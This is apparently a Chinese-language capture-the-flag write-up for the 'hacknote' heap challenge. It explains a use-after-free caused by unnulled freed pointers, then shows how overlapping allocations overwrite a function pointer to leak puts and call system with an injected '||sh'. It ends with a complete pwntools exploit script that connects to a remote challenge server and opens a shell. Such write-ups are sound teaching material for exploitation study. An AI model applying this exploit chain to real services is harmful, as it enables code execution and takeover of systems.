0%

hacknote

首先,查看程序的保护机制

然后拖入IDA分析

这是创建堆,并写入信息。

经过分析,大概是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef struct Note {  
void *func; //函数指针
char *buf; //内容指针
} Note;

//保存Node的指针数组
Note *notes[5];
int i = 0;

void show(Note *note) {
//显示buf的内容
puts((char *)(note + 4));
}

void create(int size) {
Note *note = (Note *)malloc(0x8);
note->func = show;
note->buf = (char *)malloc(size);
notes[i++] = note;
}

再看看print功能

即调用notes[i]->func(notes[i]);  

再看看delete功能

Free后没有把指针设置为NULL,这将会引起UAF漏洞

上述的释放是这样的

1
2
free(note[i]->buf);  
free(note[i]);  

如何利用UAF呢?

首先,我们先创建2个0x20的堆,释放后由fastbin或tcache bin维护

释放后,堆布局如下

大小(字节) 状态
Note0 0x8 空闲
Buf0 0x20 空闲
Note1 0x8 空闲
Buf1 0x20 空闲

现在我们create(0x8),那么先会有

Note *note = (Note *)malloc(0x8);  

Fastbin或tcache bin中存在0x8的空闲块,那么直接返回那个空闲块的地址,这里返回的是note1的地址(因为fastbin或tcache使用单向链表维护,并且遵循后进先出的规则)

接下来,执行

note->buf = (**char** *)malloc(size);  

返回了note0的地址,由于我们的字符串是可以写入buf的,因此,我们写的字符串正好就可以写入note0的结构体。

那么,我们就可以修改note0的func和buf,来执行其他函数了。

首先,我们需要得到libc基地址,那么我们需要泄露一个函数的地址,这里,我们选用puts

1
2
3
4
5
6
payload = p32(0x804862B) + p32(puts_got)  
#这个8字节空间正好分配到了note0的结构体处
create(0x8,payload)

#泄露puts的加载地址
show(0)

接下来,我们用同样的方法

删除堆2,那么,现在堆的布局如下

大小(字节) 状态
Buf2 (Note0) 0x8 空闲
Buf0 0x20 空闲
Note2 (Note1) 0x8 空闲
Buf1 0x20 空闲

我们再create(0x8),和上面同理

Note3分配到Note2 (Note1)处,Buf3分配到Buf2 (Note0)处

1
2
3
4
payload = p32(system_addr) + '||sh'  
create(0x8,payload)
# get shell
show(0)

这个**||sh**是shell注入,因为按照原来的show的逻辑,是这样的

system(note[i]);   

而note[i]是一个结构体,前四字节是system的地址,接下来是||sh字符串,所以,传给system的字符串实际上时xxxx||sh,这是一种或表达式,相当于注入一样

因此,我们最终的exp脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#coding:utf8  
from pwn import *
from LibcSearcher import *

#sh = process('./hacknote')
sh = remote('111.198.29.45',33242)
elf = ELF('./hacknote')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
show_addr = 0x804862B

def create(size,content):
sh.sendlineafter('Your choice :','1')
sh.sendlineafter('Note size :',str(size))
sh.sendafter('Content :',content)

def delete(index):
sh.sendlineafter('Your choice :','2')
sh.sendlineafter('Index :',str(index))

def show(index):
sh.sendlineafter('Your choice :','3')
sh.sendlineafter('Index :',str(index))

#创建二个堆
create(0x20,'a'*0x20)
create(0x20,'b'*0x20)
delete(0)
delete(1)
payload = p32(0x804862B) + p32(puts_got)
#这个8字节空间正好分配到了note0的结构体处
create(0x8,payload)

#泄露puts的加载地址
show(0)
#获得puts的加载地址
puts_addr = u32(sh.recv(4))

libc = LibcSearcher('puts',puts_addr)
print hex(puts_addr)
libc_base = puts_addr - libc.dump('puts')
print 'libc base:',hex(libc_base)
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
'''''
libc = ELF('/usr/lib/libc-2.17.so')
libc_base = puts_addr - libc.sym['puts']
print 'libc base:',hex(libc_base)
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''

delete(2)
payload = p32(system_addr) + '||sh'
create(0x8,payload)
# get shell
show(0)

sh.interactive()